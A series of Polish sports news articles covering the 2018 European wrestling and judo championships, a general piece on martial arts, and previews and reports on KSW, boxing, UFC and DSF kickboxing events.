Rok temu w Nowym Sadzie biało-czerwoni wywalczyli dwa medale, co dało im dziesiątą pozycję w klasyfikacji końcowej. Najlepsi okazali się wtedy Rosjanie z 16 krążkami.

Kadra Polski na ME:

styl klasyczny

Michał Tracz (60kg, Śląsk Wrocław)

Dawid Ersetic (63kg, Unia Racibórz)

Dawid Karecińśki (67kg, Śląsk Wrocław)

Geworg Sahakjan (72kg, Cartusia Kartuzy)

Mateusz Wolny (77kg, Unia Racibórz)

Edgar Babajan (82kg, Sobieski Poznań)

Tadeusz Michalik (87kg, Sobieski Poznań)

Marcel Kasperek (97kg, GKS Katowice)

Rafał Krajewski (130kg, Legia Warszawa)

styl wolny

Krzysztof Bieńkowski (65kg, AKS Białogard)

Mogomedmurad Gadżijew (70kg, AKS Piotrków Trybunalski)

Zbigniew Baranowski (86kg, AKS Białogard)

Sebastian Jezierzański (92kg, LKS Dąb Brzeźnica)

Robert Baran (125kg, LKS Ceramik Krotoszyn)

kobiety

Anna Łukasiak (50kg, AZS AWF Warszawa)

Katarzyna Krawczyk (53kg, MKS Cement Gryf Chełm)

Roksana Zasina (55kg, ZTA Zgierz)

Jowita Wrzesień (57kg, CSiR Dąbrowa Górnicza)

Agnieszka Król (62kg, Unia Racibórz)

Monika Michalik (68kg, WKS Grunwald Poznań)

Agnieszka Wieszczek-Kordus (72kg, WKS Grunwald Poznań)

Fot. Polski Związek Zapaśniczy Facebook

KM

Sarnacki wypadł najlepiej

Siódme miejsce Macieja Sarnackiego (+100kg) to najlepszy wynik osiągnięty przez biało-czerwonych w mistrzostwach Europy w judo, które odbyły się w Tel Awiwie. Karty rozdawali Rosjanie.

Do Tel Awiwu udała się 11-osobowa reprezentacja Polski. Pierwsze dwa dni zmagań nie przyniosły medalowych występów biało-czerwonych. Wszyscy wiązali nadzieje ze startem Piotra Kuczery (90kg), który w swoim dorobku ma już medal mistrzostw Europy oraz piątym zawodnikiem poprzedniego czempionatu Maciejem Sarnackim.

Judoka Gwardii Olsztyn start w Tel Awiwie rozpoczął od pojedynku z Vito Dragiciem. W swojej karierze Słoweniec stawał na podium jedynie w zawodach na poziomie kontynentalnym. Sarnacki górował doświadczeniem i jego wygrana wydawała się sprawą oczywistą. Polak musiał być cierpliwy, ale walka zakończyła się po jego myśli. Następnie Sarnacki trafił na młodego i zdolnego Stephana Hegyia. 19-latek z Austrii rok temu został wicemistrzem świata juniorów. Austriak wygrał przez waza-ari, a Sarnacki musiał szukać szansy w repasażach. Tam Polak trafił na doświadczonego Henka Grola. Lepiej rozpoczął Sarnacki, który zdobył punkty za waza ari. Chwilę później Grol zakończył pojedynek.

Rok temu w Warszawie Piotr Kuczera wygrał jedną walkę. W Tel Awiwie brązowy medalista z Kazania z 2016 roku szybko pożegnał się z rywalizacją. Walka z Krisztianem Tothem była niezwykle zacięta, ale zwycięsko wyszedł z niej Węgier.

Debiut w mistrzostwach Europy ma za sobą Rafał Kozłowski (90kg). Polak zmierzył się z Czechem Jirim Petrem. 23-latek wygrał przez ippon.

Najlepsi Rosjanie

Bezkonkurencyjni w Tel Awiwie okazali się Rosjanie, którzy zapisali na swoim koncie osiem medali, w tym cztery złote. Na drugim miejscu w klasyfikacji końcowej znaleźli się Francuzi z pięcioma krążkami. Dalej – Belgia, Słowenia, Kosowo po jednym złotym i srebrnym medalu.

Medaliści ME:

-48kg:

1. Irina Dolgova

2. Eva Csernoviczki

3. Maryna Cherniak

3. Milica Nikolic

-52kg:

1. Natalia Kuziutina

2. Distria Krasniqi

3. Gefen Primo

3. Evelyne Tschopp

-57kg:

1. Nora Gjakova

2. Theresa Stoll

3. Anastasiia Konkina

3. Telma Monteiro

-63kg:

1. Clarisse Agbegnenou

2. Tina Trstenjak

3. Lucy Renshall

3. Martyna Trajdos

-70kg:

1. Kim Polling

2. Sally Conway

3. Gemma Howell

3. Michaela Polleres

-78kg:

1. Madeleine Malonga

2. Audrey Tcheumeo

3. Natalie Powell

3. Anna Maria Wagner

+78kg:

1. Romane Dicko

2. Larisa Ceric

3. Yelzaveta Kalanina

3. Tessie Savelkouls

-60kg:

1. Islan Yashuev

2. Yanislav Gerchev

3. Ashley McKenzie

3. Beslan Mudranov

-66kg:

1. Adrian Gomboc

2. Matteo Medves

3. Tal Flicker

3. Dzmitry Shershan

-73kg:

1. Ferdinand Karapetian

2. Hidayat Heydarov

3. Bilal Ciloglu

3. Tommy Macias

-81kg:

1. Sagi Muki

2. Sami Chouchi

3. Antonio Esposito

3. Asian Lappinagov

-90kg:

1. Mikhail Igolnikov

2. Nemanja Majdov

3. Nikoloz Sherazadishvili

3. Theodoros Tselidis

-100kg:

1. Toma Nikoforov

2. Cyrille Maret

3. Zelym Kotsoiev

3. Peter Paltchik

+100kg:

1. Lukas Krpalek

2. Tamerlan Bashaev

3. Henk Grol

3. Stephan Hegyi

KM

Drugi dzień bez medalu

Trwają mistrzostwa Europy w judo w Tel Awiwie. Drugi dzień okazał się nieudany dla Polaków. Nasi reprezentanci szybko pożegnali się z rywalizacją.

Przypomnijmy. Pierwotnie do Izraela miała się udać 12-osobowa reprezentacja Polski. W ostatniej chwili ze startu musiała zrezygnować Beata Pacut (78kg), która zmaga się z kontuzją barku. Pierwszego dnia mistrzostw Europy na tatami zaprezentowały się cztery Polki. Karolina Pieńkowska (52kg) i Anna Borowska (57kg) wygrały po jednej walce, a kolejne pojedynki nie ułożyły się po ich myśli. Z kolei Agata Perenc (52kg) i Julia Kowalczyk (57kg) szybko pożegnały się z rywalizacją.

Drugiego dnia na tatami weszła Agata Ozdoba-Błach (63kg). Brązowa medalistka zeszłorocznych mistrzostw świata w tym roku otarła się o podium w Grand Slamie w Jekaterynburgu. W czempionacie globu zaprezentowała się po raz piąty. Do tej pory na koncie miała brąz z mistrzostw w 2014 roku. I tak pozostanie. Polka trafiła na utalentowaną Holenderkę Sanne Vermeer. 20-latka ma na koncie dwa złota mistrzostw kontynentu juniorów. Vermeer odprawiła Ozdobę-Błach, ale w kolejnej walce przegrała z doświadczoną Martyną Trajdos.

Los nie oszczędził Karoliny Tałach (63kg). W pierwszej walce Polka trafiła na mistrzynię olimpijską z Rio de Janeiro, mistrzynię świata i wicemistrzynię Europy Tinę Trstenjak. Słowenka wygrała przed czasem.

Dobrze zmagania w Tel Awiwie rozpoczęła Daria Pogorzelec (70kg). Na początek 27-latka pokonała przed czasem mistrzynię Europy U23 z 2016 roku Węgierkę Szabinę Gercsak. W kolejnej walce Pogorzelec trafiła na Marię Bernabeu. 30-letnia brązowa medalistka mistrzostw świata znalazła sposób na Polkę po upływie blisko 2,5 minuty.

W piątek zaprezentował się pierwszy z naszych panów. Damian Szwarnowiecki (81kg) szybko pożegnał się z rywalizacją. Polak przed czasem przegrał z Węgrem Laszlo Csoknayai.

Dobry początek Rosjan

Mistrzostwa Europy fantastycznie rozpoczęły się dla Rosjan. W czwartek reprezentanci Sbornej zgarnęli trzy z pięciu możliwych do zdobycia złotych medali. Na najwyższym stopniu podium stawali: Irina Dolgova (48kg), Natalia Kuziutina (52kg) oraz Islan Yashuev (60kg).

Fot. IJF – zdjęcie poglądowe

KM

Walka o medale rozpoczęta

W Tel Awiwie wystartowały mistrzostwa Europy w judo. Jako pierwsze do zmagań przystąpiły panie w kategoriach 52kg i 57kg. Polki szybko pożegnały się z rywalizacją.

Rok temu emocjonowaliśmy się zmaganiami o medale mistrzostw Europy w warszawskiej hali Torwar. Biało-czerwoni zakończyli zmagania z jednym medalem. Po srebro sięgnęła reprezentacja Polski kobiet, która w finałowym boju przegrała z Francją. To właśnie zawodniczki i zawodnicy Trójkolorowych z ośmioma krążkami na koncie okazali się najlepsi w klasyfikacji medalowej.

Tym razem areną zmagań o medale mistrzostw Europy został Tel Awiw. W Izraelu pojawiło się blisko 370 judoczek i judoków, w tym 11 reprezentantów Polski.

Pierwszego dnia zmagań zaprezentowały się panie w kategoriach 52kg i 57kg. Agata Perenc została "rzucona na głęboką wodę". W pierwszej walce trafiła na Joanę Ramos z Portugalii, która rok temu sięgnęła po brąz mistrzostw Europy. 36-latka zaliczyła waza ari i awansowała do kolejnej rundy, jednak tam przegrała z Anją Stangar. Lepiej wypadła druga z naszych judoczek rywalizujących w 52kg. Karolina Pieńkowska pokonała Daryę Skrypnik, jednak w drugiej walce przegrała z czwartą zawodniczką światowego rankingu – Distrią Krasniqi.

Anna Borowska bez większych problemów uporała się z Ulviyyą Rahimli. W drugim starciu lepsza od Polki okazała się Daria Mezhetskaia, która w 2016 roku zdobyła brązowy medal mistrzostw Europy U23. Nie powiodło się Julii Kowalczyk. 20-latka nie sprostała Chorwatce Tenie Sikić.

Czas na kolejnych

Czekamy na występy kolejnych reprezentantów Polski. 27 kwietnia na tatami zaprezentuje się Agata Ozdoba-Błach (63kg), która w 2014 roku w czempionacie globu w Montpellier wywalczyła brąz. Po raz piąty w mistrzostwach Europy zaprezentują się Karolina Tałach (63kg), Daria Pogorzelec (70kg) oraz Damian Szwarnowiecki (81kg).

Z kolei 28 kwietnia  miała wystąpić Beata Pacut (78kg), która w imprezie rangi mistrzostw Europy debiutowała rok temu w Warszawie, jednak na przeszkodzie stanęła jej kontuzja. Z pewnością zawodniczka będzie ściskała kciuki za koleżanki i kolegów z kadry. W Tel Awiwie premierowy występ zaliczy Rafał Kozłowski (90kg). Dwa lata temu w Kazaniu niespodziankę sprawił Piotr Kuczera (90kg), który wywalczył brąz. Czy uda mu się powtórzyć ten wyczyn? W 2017 roku Maciej Sarnacki (+100kg) był o krok od podium mistrzostw Europy. Ostatecznie zajął piąte miejsce. Przed Sarnackim szósty występ na mistrzostwach Europy.

Z kim będą rywalizować Polacy?

63kg: Agata Ozdoba-Błach (Polska) – Sanne Vermeer (Holandia) , Karolina Tałach (Polska) – Tina Trstenjak (Słowenia)

70 kg: Daria Pogorzelec (Polska) – Szabina Gercsak (Węgry)

81 kg: Damian Szwarnowiecki (Polska) – Laszlo Csoknyai (Węgry)

90 kg: Piotr Kuczera (Polska) – Krisztian Toth (Węgry), Rafał Kozłowski (Polska) – Jiri Petr (Czechy)

+100 kg: Maciej Sarnacki (Polska) – Vito Dragic (Słowenia)

KM

Sztuki walki – co dają, którą zacząć uprawiać?

Ludzie trenują sztuki walki nie tylko po to, by uzyskać określoną umiejętność. Takie treningi to również świetny sposób na to, by pozostać w formie, a do tego zyskać ważną lekcję dla naszego charakteru. Popularność sztuk walk rośnie, a wraz z nią zwiększa się liczba miejsc, w których można uprawiać przeróżne dyscypliny sportowe – od kung fu po boks. Zobaczmy, czym różnią się od siebie sztuki i sporty walki.

Sztuki walki – coraz bardziej egzotycznie

Niegdyś można było ćwiczyć takie style jak judo, bok czy karate. Dzisiaj nie brakuje ofert treningów o najbardziej egzotycznie brzmiących nazwach. Muay thai, capoeira, wushu to jedynie kilka z przykładów. Wschodnie sztuki walki to nie tylko nauka bicia się, a w zasadzie – to bardziej nauka obrony, ale również poznanie określonego systemu filozoficznego. Aktywność fizyczna jest wówczas sposobem na zrozumienie samego siebie.

Sztuki walki – wpływ na psychikę

Sztuki walki kształtują charakter. Pomagają uczyć się tak ważnych cech jak wytrwałość, odpowiedzialność, a nawet pokora. To także świetna metoda na wyrobienie w sobie nawyku natychmiastowego podejmowania decyzji, czyli refleksu. Trening judo czy boksu pozwala wyładować wszystkie napięcia, jakie spotykają nas w pracy. Wchodząc na ring lub na matę można zapomnieć o konfliktach w rodzinie. Treningi to również świetna zabawa. Fani określonej sztuki walki często spędzają ze sobą czas również poza treningami. Prowadzi to do powstawania przyjaźni na całe lata.

Sztuki walki – jak wpływają na ciało?

Sztuki walki dają chyba jeszcze więcej korzyści naszemu ciało. To przede wszystkim świetny sposób na pozbycie się nadprogramowych kilogramów. Godzinny trening sprawia, że spalamy naprawdę wiele energii. Regularne treningi polepszają kondycję i koordynację ruchową. W trakcie ćwiczeń rozwijają się chyba wszystkie partie naszego ciała. Sztuki walki można uprawiać również w bardziej lekkiej wersji, gdy są one połączone z ćwiczenia typu fitness.

Sztuki walki i sporty walki – różnice

Zasadniczo sztuki walki należałoby odróżnić od sportów walki. Te pierwsze opierają się na spokoju, a nie na agresji czy rywalizacji. Najważniejsze w nich jest samoopanowanie. Sztuki walki pochodzą z krajów Orientu. Z kolei sporty walki mają na celu pokonanie przeciwnika, a kwestie duchowe nie mają w nich aż takiego znaczenia lub nie liczą się w ogóle. Chodzi w nich również o to, by móc wyprowadzać ataki z całą siłą, co na przykład w karate nie jest wskazane.

Sztuki walki – rodzaje

Do najpopularniejszych sztuk walki zalicza się:

  • Karate – styl walki wymyślony w celu obrony bez stosowania broni. Stosuje się w nim wiele uderzeń i kopnięć, w trakcie których adepci wydają charakterystyczne odgłosy. Jednak nadrzędnym celem karate jest pokonanie przeciwnika bez użycia przemocy. Liczy się tutaj przede wszystkim aspekt duchowy oraz siła charakteru.

  • Kung fu – chiński styl walki, popularny dzięki Bruce’owi Lee, w którym style są wzorowane na różnych zwierzętach – lamparcie, wężu, żurawiu, tygrysie i smoku. W stylu popularyzowanym w Polsce chodzi o to, by móc bronić się nawet przed większym przeciwnikiem. Dlatego trenujący poznają przede wszystkim czułe punkty przeciwników.

  • Judo – nadrzędnym celem judo jest doskonalenie samego siebie. Stawia się w niej na szybkość, zwinność oraz świadome stosowanie siły. Przeciwnicy zawsze muszą grać fair play, co uczy honorowości.

  • Taekwondo – sztuka walki wywodząca się z Korei. Z początku stosowano ją do szkolenia żołnierzy, dopiero w zeszłym wieku stała się znana jako sztuka walki. Osoby praktykujące taekwondo muszą przestrzegać pięciu zasad moralnych.

Sporty walki

Często uprawiane, a także oglądane sporty walki to:

  • Boks – walka w rękawicach bokserskich i w ringu. Podczas pojedynku zakazane jest bicie w głową, z kolana oraz z łokcia. Liczy się nie tylko silny prawy sierpowy, ale również zwinność.

  • MMA – czyli inaczej mieszane sztuki walki, w której wszelkie chwyty są dozwolone. MMA czerpie z wielu innych technik, zapewniając tym samym zróżnicowany pojedynek i duże widowisko.

Stare porachunki

Jeden z nich ponownie znajdzie się w posiadaniu pasa wagi piórkowej. 9 czerwca  na KSW 44 dojdzie do starcia Klebera Koike Erbsta z Marcinem Wrzoskiem. W karcie walk widnieją również nazwiska m.in. Borysa Mańkowskiego oraz Mariusz Pudzianowskiego.

Koike Erbst efektownie przywitał się z polskimi kibicami. Na gali KSW 30 w Poznaniu w pierwszej rundzie zmusił do poddania Anzora Azieva. Japoński zawodnik perfekcyjnie wykonał duszenie trójkątne nogami. Wiadomo było, że KSW trafiło na zawodnika o ponadprzeciętnych umiejętnościach. Włodarze federacji nie czekali długo i w kolejnym starciu Koike Erbst miał szansę zdobyć pas, ale uległ Arturowi Sowińskiemu. Później stoczył trzy pojedynki, które zakończyły się po jego myśli. Szczęśliwy dla 28-latka okazał się stadion PGE Narodowy. Koike Ebrst na KSW 39 pokonał Marcina Wrzoska i zdobył pas w wadze piórkowej. Japończyk miał go bronić w starciu z Arturem Sowińskim, ale… przesadził z wagą i odebrano mu tytuł.

Zatem pas leży i czeka. Kto po niego sięgnie? Koike Erbst i Wrzosek wiedzą jak smakuje tytuł mistrzowski. Wiadomo, że Polak tanio skóry nie sprzeda. "Polski Zombie" potrafi być bezlitosny dla rywali, o czym dotkliwie przekonał się Artur Sowiński. W ostatniej walce Wrzosek na dystansie trzech rund okazał się lepszy od Romana Szymańskiego. – Wracam po mój pasek! Bądźcie tam ze mną moje Zombiaczki! – napisał zawodnik na swoim Facebooku. Czy Polak pokona swojego jedynego pogromcę w KSW?

W Ergo Arenie nie będzie nudy

9 czerwca w hali położonej na granicy Gdańska i Sopotu czołowymi postaciami będą Karol Bedorf i Mariusz Pudzianowski. O tym starciu mówiło się od dawna. Ten pojedynek wyłoni czołowego zawodnika MMA wagi ciężkiej w Polsce, a zarazem pretendenta do tytułu KSW. Bedorf pas utracił blisko półtora roku temu na rzecz Fernando Rodriguesa Jr. Od tamtej pory Polak nie walczył. Z kolei Pudzianowski ma za sobą trzy wygrane z rzędu.

Pierwszą walkę w 2018 roku stoczy Borys Mańkowski. Były mistrz wagi półśredniej wraca po dwóch porażkach. W superfight na gali KSW 39 przegrał z Mamedem Khalidovem, a w Katowicach (KSW 41) stracił pas na rzecz Roberto Soldicia. "Diabeł Tasmański" chce się odbudować i zapolować na tytuł.

W Ergo Arenie zobaczymy również starcie Tomasz Oświecińskiego z Erko Junem. Jeden z najbardziej znanych trenerów personalnych na świecie 9 czerwca zadebiutuje w MMA.

Fot. Marcin „Polish Zombie” Wrzosek Facebook

KM

Noc zemsty w Częstochowie

Gala Polsat Boxing Night 2018: Noc Zemsty, która odbędzie się w najbliższą sobotę (21 kwietnia) dla polskiego kibica boksu zapowiada się wyjątkowo. Przede wszystkim w ringu zaprezentuje się Tomasz Adamek, dla którego fani zarywali noce. Ponownie z Yourim Kalengą spotka się Mateusz Masternak. Co jeszcze czeka nas w Częstochowie?

Ringowy weteran, bo tak bez wątpienia można nazwać Adamka, wejdzie do ringu po raz 58 i zapoluje na 53 zwycięstwo. "Góral" już nic nie musi, ale cały czas chce boksować. Zwycięstwo z Joeyem Abellem to przepustka do kolejnych starć. W przypadku porażki Adamek będzie musiał zastanowić się nad swoją przyszłością. Trzeba przypomnieć, że wielu skazywało go już na emeryturę. Po porażce z Arturem Szpilką mistrz świata w wadze półciężkiej i junior ciężkiej sam podkreślał, że czas kończyć, ale wrócił. Pokonał Przemysława Saletę, ale został znokautowany przez Erica Molinę. Charakter i wola walki sprawiają, że nadal oglądamy go w ringu. Teraz Adamek sprawdzi się w starciu z młodszym o pięć lat Abellem. Ostatnio Amerykanin potężnie wstrząsnął Krzysztofem Zimnochem i Polak w trzeciej rundzie padł na deski. Abell wygrał 34 walki, z czego aż 32 przed czasem. Trudne wyzwanie przed Adamkiem, ale ten zawsze pokazywał, że chętnie je podejmuje.

Blisko cztery lata temu Mateusz Masternak przegrał niejednogłośnie na punkty z Yourim Kalengą. Tym samym Polakowi koło nosa przeszedł tymczasowy pas WBA wagi cruiser. W Częstochowie Masternak będzie miał okazję do rewanżu. Stawką pojedynku z Kalengą będzie pas mistrza Europy WBO. Kalenga zwraca na siebie uwagę, ale niekoniecznie ze względów sportowych. W styczniu w internecie pojawiło się nagranie, na którym 30-latek pochodzący z Demorkatycznej Republiki Kongo zniszczył Biblię i Nowy Testament. A w ringu Kalenga prezentuje się w kratkę. Z ostatnich trzech walk wygrał jedną, z kolei Masternak ma passę czterech wygranych z rzędu.

O międzynarodowe mistrzostwo Polski w kategorii junior ciężkiej będą rywalizować Adam Balski i Denis Grachev. Polak wraca do zmagań po kontuzji szczęki, której doznał w wygranym pojedynku z Demetriusem Banksem. Dla Balskiego będzie to dwunasta walka w zawodowej karierze. Grachev to doświadczony bokser, który prezentował się na ringach w Stanach Zjedonocznych, RPA czy Meksyku. Ostatnio przegrał z Węgrem Imre Szello.

Niepokonana Ewa Brodnicka stanie do pierwszej obrony mistrzostwa świata WBO w wadze super piórkowej. Polka na ring wraca po blisko rocznej przerwie. Jej rywalką będzie Sarah Pucek. 31-letnia Kanadyjka wygrała cztery walki z rzędu. Występ w Częstochowie będzie jej pierwszym w Europie.

Karta walk gali w Częstochowie:

Tomasz Adamek vs Joey Abell

Mateusz Masternak vs Youri Kalenga

Adam Balski vs Denis Grachev

Damian Jonak vs Lukas Ndafoluma

Ewa Brodnicka vs Sarah Pucek

Robert Parzęczewski vs Emmanuel Danso

Łukasz Wierzbicki vs Michał Żeromiński

Michał Chudecki vs Damian Wrzesiński

Fot. Tomasz Adamek „Goral” Facebook

KM

Półroczna „przerwa” Alvareza

Pięściarz Saul Alvarez został zawieszony na pół roku. To pokłosie wykrycia w jego organizmie zakazanych substancji. Powrót Meksykanina na ring ma nastąpić… 15 września.

Przypomnijmy, 27-letni Alvarez przygotowywał się do walki z Gienadijem Gołowkinem, które miała odbyć się 5 maja. Pięściarze rywalizowali we wrześniu ubiegłego roku w Las Vegas, a sędziowie ocenili pojedynek jako remisowy. Rewanż wydawał się sprawą oczywistą. Wszystko było zaplanowane, ale ustalenia pokrzyżowały wyniki badań antydopingowych Meksykanina. Dwukrotnie dały wynik pozytywny, a w organizmie Alvareza wykryto clenbuterol. Były mistrz WBC i WBA wagi junior średniej przekonywał, że to wina zanieczyszczonego mięsa. Pięściarz został tymczasowo zawieszony i postanowił wycofać się z walki z Gołowkinem.

Nad sprawą Meksykanina pochyliła się Komisja Stanu Nevada. Popularny "Canelo" został zawieszony na pół roku, ale kara liczy się od daty pierwszego pozytywnego wyniku badania. W związku z tym zawieszenie obowiązuje od 17 lutego. Zatem 1/3 kary już za Meksykaninem, a więc jego promotorzy myślą nad kolejną walką. Prawdopodobnie jeszcze w tym roku Alvarez stoczy 53 pojedynek w karierze. Według pierwszych informacji pojedynek miałby odbyć się 15 września, rywal nieznany.

Gołowkin zaprezentuje się w maju

Wobec problemów Alvareza "na lodzie" został Giennadij Gołowkin. Jednak mistrz świata IBF, WBA i WBC wagi średniej nie będzie nudził się 5 maja. W StubHub Center w Carson zmierzy się z Vanesem Martirosyanem.

36-letniemu Gołowkinowi bardzo zależało, aby wejść do ringu 5 maja. Trwały poszukiwania rywala. Wśród potencjalnych przeciwników mistrza wymieniani byli m.in. Billy Joe Saunders oraz Sergiy Derevyanchenko. Wybór padł jednak na Martirosyana, który w trzech ostatnich walkach zanotował dwie porażki.

Co ważne w kontekście najbliższej walki Gołowkina, ten może stracić pas IBF w wadze średniej. Zdaniem organizacji Kazach powinien zmierzyć się z Derevyanchenką, który jest obowiązkowym pretendentem do tytułu. A to zapewne jest w niesmak Gołowkinowi. Kazach marzy o zdominowaniu wagi średniej. W kolekcji brakuje mu jedynie pasa WBO.

Fot. Canelo Alvarez Facebook

KM

Tybura podpisał, kolejna walka niebawem?

Marcin Tybura będzie miał szansę, aby zrehabilitować się za dwie porażki z rzędu w UFC. Wszystke znaki na niebie i ziemi mówią, że polski zawodnik wagi ciężkiej podpisał umowę na kolejną walkę dla amerykańskiej organizacji. Z kolei nowy mistrz KSW w kategorii półśredniej stoczy pojedynek dla federacji EFE Worldwide.

Czas na wygraną

Trzeba jasno powiedzieć, że Marcin Tybura prezentuje się w UFC z dobrej strony. Z pewnością zawodnik marzył o innym wyniku debiutanckiej walki w amerykańskiej organizacji. 10 kwietnia 2016 roku na gali UFC Fight Night 92 Tybura decyzją sędziów przegrał z Timothy'm Johnsonem. Jednak kolejne występy w UFC potwierdziły, że Polak nieprzypadkowo dzierżył pas mistrzowski wagi ciężkiej w organizacji M-1 Global. Dwie wygrane walki przed czasem, z Viktorem Pestą oraz Luisem Henrique Barbosą de Oliveirą, okazały się dla Tybury przepustką do starcia z legendarnym Andrejem Arlovskim.

W Singapurze Polak stawił czoła byłemu mistrzowi wagi ciężkiej UFC. Zdecydowanie zaczął Arlovski, ale Tybura nie pozostawał bierny. W pierwszej rundzie złapał kopnięcie rywala i walka toczyła się w parterze. Tam Polak pokazał się z dobrej strony. Podobnie w trzeciej rundzie sprowadzał Amerykanina na ziemię, czym punktował w oczach sędziów. Ci zaś nie mieli wątpliwości i po trzech rundach wskazali na Tyburę. Tym zwycięstwem Polak ugruntował sobie pozycję w wadze ciężkiej. A zarazem zapracował na kolejne wyzwanie. Tym razem czekał na niego mocny Fabricio Werdum. Z Brazylijczykiem Polak sobie jednak nie poradził, tak jak i w lutym z Derrickiem Lewisem.

Tybura nadal jest jednym z czołowych zawodników wagi ciężkiej UFC, w rankingu zajmuje ósme miejsce. Najważniejsze, żeby teraz wrócił na właściwe tory. Wszystko wskazuje na to, że pierwszy krok został wykonany. Polak złożył podpis pod umową. – Podpisywanie kontraktów zawsze przynosi pozytywy. Co przyniesie mi tym razem? – zastanawia się zawodnik, który informację o zawarciu umowy podał na swoim Facebooku.

Zatem czekamy, aby zobaczyć Marcina Tyburę po raz siódmy w UFC.

Mistrz KSW poznał rywala

Kilka dni temu Dricus Du Plessis zachwycił Wrocław pokonując Roberto Soldicia i sięgając po pas mistrza KSW w wadze półśredniej. Nie wiadomo, kiedy zawodnik z RPA stanie do pierwszej obrony tytułu.

Pewne jest, że Du Plessis zaprezentuje się na gali EFC Worldwide. Zawodnik ma na swoim koncie pasy mistrzowskie w wadze średniej i półśredniej tejże organizacji. Jego najbliższym rywalem będzie Brendan Lesar.

Fot. Marcin Tybura Facebook

KM

DSF Kickboxing Challenge rośnie w siłę

Federacja DSF Kickboxing Challenge rozwija się dynamicznie i oferuje widowiska na najwyższym poziomie. W tym roku organizacja wyprowadziła trzy mocne ciosy w postaci ciekawych gal, a w maju odbędzie się kolejna. Na statku z napisem DSF pojawiają się nowi zawodnicy, którzy są gwarantem wysokiego poziomu sportowego. Tak jak miało to miejsce podczas gali na warszawskim Torwarze.

Pierwsza gala DSF Kicboxing Challenge odbyła się 27 września 2014 roku w hali sportowej w Ząbkach. Tydzień później Marcin Różalski rywalizował na KSW 28 z Peterem Grahamem. Lepszy okazał się Australijczyk. Minęło 3,5 roku i popularny "Różal" ponownie spotkał się z Grahamem, ale już będąc zawodnikiem federacji DSF Kickboxing Challenge. Gdy w listopadzie 2017 roku mistrz świata w kickboxingu podpisał umowę z organizacją Sławomira Duby, wielu nie ukrywało zaskoczenia. A okazało się, że to dopiero początek ofensywny DSF. Dawid Kasperski, Kamil Jenel, Daniel Omielańczuk, Paweł Biszczak, Karol Celiński czy Piotr Strus również zasilili organizację. Tych zawodników nikomu nie trzeba przedstawiać.

Ale DSF nadal zaskakuje. Sławomir Duba niczym wykwintny rybak zarzuca sieci i łowi najlepszych. DSF zapowiadało nowe twarze i w końcu federacja przedstawiła 12 fighterów, którzy do niej dołączyli! Iwona Nieroda, Ewa Pietrzykowska, Maciej Jewtuszko, Michał Kita, Tomasz Sarara, Arkadiusz Kaszuba, Michał Ronkiewicz, Wojciech Kazieczko , Bartosz Dołbień, Adam Dubin, Patryk Kuryłek i Łukasz Bartnik. Najkrócej mówiąc – jest w czym wybierać.

Nie da się ukryć, że federacja DSF Kickboxing Challenge już dawno przestała być anonimowa. Z pewnością wpływ na rozpoznawalność miały "transfery gwiazd". Jednak poziom sportowy gal przyciągał uwagę kibiców żądnych kickboxingu na najwyższym poziomie. Federacja DSF zdaje się tworzyć produkt kompletny. Stawia na sport na najwyższym poziomie. Wśród zawodników są młodzi i obiecujący, doświadczeni o określonym poziomie umiejętności, a także wielcy mistrzowie.

Federacja podejmuje również wyzwania na poziomie organizacyjnym. Gala DSF Kickboxing Challenge 14 na warszawskim Torwarze pokazała, że kibice są spragnieni kickboxingu. Ale ten sukces nie przyszedł sam. Ogromna promocja imprezy, przygotowanie mocnej karty walk, dbałość o szczegóły i stworzenie atmosfery wielkiego sportowego święta. Jednym słowem – DSF jest już na salonach, na których stawia mocne kroki.

Szkoda jedynie, że nie udało się doprowadzić do walki roku. Pierwotnie na warszawskim Torwarze "Różal" miał rywalizować z Jeromem Le Bannerem, ale Francuz w ostatniej chwili wypadł z powodu kontuzji. Zastąpił go Graham, a więc Polak miał okazję do rewanżu. Wykorzystał ją w 100%. W drugiej rundzie Różalski mocnym kopnięciem powalił rywala na matę. Dał jasny sygnał, że jest mocniejszy i w kolejnych minutach kontrolował walkę, a sędziowie jednogłośnie przyznali mu zwycięstwo. Drugą wygraną w DSF zanotował mający za sobą występy w UFC Daniel Omielańczuk.

Nieodłącznym elementem gal DSF są mecze międzypaństwowe. Tym razem w K-1 Polacy rywalizowali z Rosją, więc emocji nie mogło zabraknąć. Po dwóch walkach było gorąco, bo Mateusz Rajewski i Paweł Biszczak przegrali. Do gry pozwolił nam wrócić Kamil Jenel, który pokonał Aleksandra Zakharova. Kolejne walki dla Polaków, Dawida Kasperskiego i Karola Celińskiego, dzięki czemu to biało-czerwoni świętował zwycięstwo. W Warszawie mistrzem wagi ciężkiej został Piotr Romankevich, który w trzeciej rundzie znokautował Dawida Zółtaszka.

Kolejna gala DSF 18 maja. Czego się spodziewać? Z pewnością gwiazd, bo tych w ekipie Sławomira Duby nie brakuje. Dzięki DSF Kickboxing Challenge kickboxing coraz częściej będzie "zaglądał pod strzechy".

Fot. DSF Kickboxing Challenge Facebook

KM

Dwie walki o pas we Wrocławiu

14 kwietnia w Hali Stulecia we Wrocławiu gala KSW 43. Do pierwszej obrony pasa mistrzowskiego wagi półśredniej stanie Roberto Soldić, który zmierzy się z Dricusem du Plessisem. O tytuł w kategorii ciężkiej będą rywalizować Michał Andryszak i Philip de Fries.

W grudniu ubiegłego roku podczas gali KSW 41 w Katowicach Dricus Du Plessis miał rywalizować z Borysem Mańkowskim o pas wagi półśredniej. Na ostatniej prostej zawodnik z RPA doznał kontuzji i musiał wycofać się z rywalizacji. Jego miejsce zajął Roberto Soldić. Chorwat nie miał zbyt wiele czasu, ale podjął wyzwanie i pokazał wysokie umiejętności. W Katowicach okazał się lepszy od Mańkowskiego. Soldić był wyższy, bił mocniej i potwornie zmęczył Polaka, którego po trzeciej rundzie poddał narożnik. We Wrocławiu 23-letni Chorwat spotka się z Du Plessisem. Między zawodnikami zawrzało już w grudniu. Soldić po triumfie ruszył w stronę 24-latka, który wcześniej miał go prowokować. Co ciekawe, zawodnicy mogli spotkać się wcześniej, kiedy reprezentant RPA walczył dla organizacji Extreme Fighting Championship. Kontrakt nie został jednak podpisany, ale los chciał, żeby Soldić i Du Plessis spotkali się. Obaj mają passę siedmiu wygranych z rzędu. We Wrocławiu któryś z nich będzie musiał obejść się smakiem, ale emocje są gwarantowane, bo zawodnicy słyną z tego, że ich walki zazwyczaj kończą się przed czasem. Warto dodać, że żaden pojedynek Du Plessisa nie kończył się decyzją sędziów.

